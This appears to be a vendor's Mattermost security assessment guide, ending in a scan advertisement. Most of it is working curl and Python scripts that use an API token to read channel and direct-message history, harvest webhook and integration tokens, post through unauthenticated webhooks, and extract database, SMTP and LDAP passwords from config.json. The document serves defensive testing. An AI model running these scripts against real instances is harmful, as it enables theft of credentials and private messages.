Mattermost is a widely deployed open-source self-hosted team messaging platform used as a Slack alternative in enterprise, government, and defense environments. Its self-hosted nature makes it attractive for organizations handling sensitive communications, which also makes compromising a Mattermost instance especially valuable. Key assessment areas: Mattermost personal access tokens provide full read access to all channels, messages, and direct messages the user can access; admin tokens grant system-wide access including user management and configuration changes; incoming webhook URLs allow posting to channels without authentication; config.json stores database passwords and SMTP credentials; and misconfigured Mattermost instances may expose user enumeration via the /api/v4/users endpoint without authentication. This guide covers systematic Mattermost security assessment.
# Mattermost — API token authentication and message enumeration
MATTERMOST_URL="https://mattermost.example.com"
MM_TOKEN="your-mattermost-api-token"
# Verify current user and check admin privileges
curl -s "${MATTERMOST_URL}/api/v4/users/me" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'User: {u.get(\"username\")} ({u.get(\"email\")})')
roles = u.get('roles','')
print(f'Roles: {roles}')
print(f'System admin: {\"system_admin\" in roles}')
print(f'User ID: {u.get(\"id\")}')
" 2>/dev/null
# Enumerate all teams
curl -s "${MATTERMOST_URL}/api/v4/teams" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
teams=json.load(sys.stdin)
print(f'Teams: {len(teams)}')
for t in teams:
print(f' [{t.get(\"id\")}] {t.get(\"display_name\")} ({t.get(\"name\")}) type={t.get(\"type\")}')
" 2>/dev/null
# Enumerate channels in a team — all public and private channels the user is in
TEAM_ID="team_id_here"
curl -s "${MATTERMOST_URL}/api/v4/teams/${TEAM_ID}/channels?page=0&per_page=200" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
channels=json.load(sys.stdin)
print(f'Channels: {len(channels)}')
for c in channels:
print(f' [{c.get(\"id\")}] {c.get(\"display_name\")} ({c.get(\"name\")}) type={c.get(\"type\")} members={c.get(\"total_msg_count\")}')
" 2>/dev/null
# Read all posts in a channel — complete message history
CHANNEL_ID="channel_id_here"
curl -s "${MATTERMOST_URL}/api/v4/channels/${CHANNEL_ID}/posts?page=0&per_page=200" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
posts = d.get('posts',{})
order = d.get('order',[])
print(f'Posts in channel: {len(posts)}')
for pid in order[:20]:
p = posts.get(pid,{})
print(f' [{p.get(\"create_at\")}] {p.get(\"user_id\")}: {p.get(\"message\",\"\")[:120]}')
" 2>/dev/null
# Direct messages — read DM channels (type D) for private conversations
curl -s "${MATTERMOST_URL}/api/v4/users/me/channels?page=0&per_page=200" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
channels=json.load(sys.stdin)
dms = [c for c in channels if c.get('type') == 'D']
print(f'Direct message channels: {len(dms)}')
for c in dms:
print(f' DM channel: {c.get(\"id\")} name={c.get(\"name\")}')
" 2>/dev/null
# Mattermost incoming webhook enumeration and abuse testing
MATTERMOST_URL="https://mattermost.example.com"
MM_TOKEN="your-mattermost-api-token"
# List all incoming webhooks (requires manage_webhooks permission)
curl -s "${MATTERMOST_URL}/api/v4/hooks/incoming?page=0&per_page=200" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
hooks=json.load(sys.stdin)
print(f'Incoming webhooks: {len(hooks)}')
for h in hooks:
print(f' [{h.get(\"id\")}] {h.get(\"display_name\")} channel={h.get(\"channel_id\")}')
# Webhook URL format: /hooks/{webhook_id}
print(f' URL: ${MATTERMOST_URL}/hooks/{h.get(\"id\")}')
" 2>/dev/null
# Abuse incoming webhook — post to channel without user credentials
WEBHOOK_ID="webhook_id_here"
curl -s -X POST "${MATTERMOST_URL}/hooks/${WEBHOOK_ID}" \
-H "Content-Type: application/json" \
-d '{"text":"Security test from unauthorized source"}' 2>/dev/null
# List outgoing webhooks — may include integration tokens and callback URLs
curl -s "${MATTERMOST_URL}/api/v4/hooks/outgoing?page=0&per_page=200" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
hooks=json.load(sys.stdin)
print(f'Outgoing webhooks: {len(hooks)}')
for h in hooks:
print(f' [{h.get(\"id\")}] {h.get(\"display_name\")}')
print(f' Callback URLs: {h.get(\"callback_urls\")}')
print(f' Token: {h.get(\"token\")}')
" 2>/dev/null
# List all integrations (slash commands, bots) — may expose tokens
curl -s "${MATTERMOST_URL}/api/v4/commands?team_id=${TEAM_ID}&custom_only=true" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
cmds=json.load(sys.stdin)
print(f'Custom slash commands: {len(cmds)}')
for c in cmds:
print(f' /{c.get(\"trigger\")} url={c.get(\"url\")} token={c.get(\"token\")}')
" 2>/dev/null
# Mattermost config.json and database credential extraction
# config.json — database password and SMTP credentials
python3 -c "
import json
with open('/opt/mattermost/config/config.json') as f:
cfg = json.load(f)
sql = cfg.get('SqlSettings',{})
email = cfg.get('EmailSettings',{})
ldap = cfg.get('LdapSettings',{})
print(f'DB DataSource: {sql.get(\"DataSource\")}')
print(f'DB replica: {sql.get(\"DataSourceReplicas\")}')
print(f'SMTP server: {email.get(\"SMTPServer\")}:{email.get(\"SMTPPort\")}')
print(f'SMTP user: {email.get(\"SMTPUsername\")}')
print(f'SMTP password: {email.get(\"SMTPPassword\")}')
print(f'LDAP server: {ldap.get(\"LdapServer\")}')
print(f'LDAP bind dn: {ldap.get(\"BindUsername\")}')
print(f'LDAP bind pw: {ldap.get(\"BindPassword\")}')
" 2>/dev/null
# User enumeration via API — check if public user lookup is enabled
# SiteSettings.EnableUserDirectory controls this
curl -s "${MATTERMOST_URL}/api/v4/users?page=0&per_page=200" 2>/dev/null | python3 -c "
import json,sys
try:
data=json.load(sys.stdin)
if isinstance(data, list):
print(f'User enumeration possible (no auth required): {len(data)} users')
for u in data[:10]:
print(f' {u.get(\"username\")} ({u.get(\"email\")}) id={u.get(\"id\")}')
else:
print('Blocked:', data.get('message',''))
except: print('Could not parse response')
" 2>/dev/null
# Admin API — system config exposure (admin token required)
curl -s "${MATTERMOST_URL}/api/v4/config" \
-H "Authorization: Bearer ${MM_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
cfg=json.load(sys.stdin)
sql = cfg.get('SqlSettings',{})
email = cfg.get('EmailSettings',{})
print(f'DB DataSource: {sql.get(\"DataSource\")}')
print(f'SMTP password: {email.get(\"SMTPPassword\")}')
except: print('Not admin or error')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Complete message history enumeration via API token | GET /api/v4/channels/{id}/posts — returns all messages in every channel the token user can access; includes direct messages, private channels, and file attachment metadata; sensitive business communications, credentials shared in chat, and private HR discussions | Critical |
| Incoming webhook abuse without authentication | POST /hooks/{webhook_id} — posts messages to the configured channel without any auth; webhook URLs are permanent and not tied to users; can be used for phishing messages appearing to come from integration sources or for spamming channels | High |
| config.json database and SMTP credential extraction | Read /opt/mattermost/config/config.json — SqlSettings.DataSource has DB password; EmailSettings.SMTPPassword; LdapSettings.BindPassword for Active Directory bind account | Critical |
| Admin token system configuration access | GET /api/v4/config with admin Bearer token — returns entire system configuration including all credentials, integration tokens, and security settings in plaintext JSON | Critical |
| User enumeration via /api/v4/users | GET /api/v4/users without token — returns all user accounts on misconfigured instances; provides usernames and email addresses for all registered users enabling targeted phishing and password spray attacks | High (configuration-dependent) |
Ironimo tests Mattermost deployments for API token channel and message history enumeration, incoming webhook URL harvesting and abuse testing, outgoing webhook token extraction, admin API config disclosure, config.json database and SMTP credential access, unauthenticated user enumeration, LDAP bind credential extraction, personal access token lifecycle assessment, and integration token exposure in slash commands.
Start free scan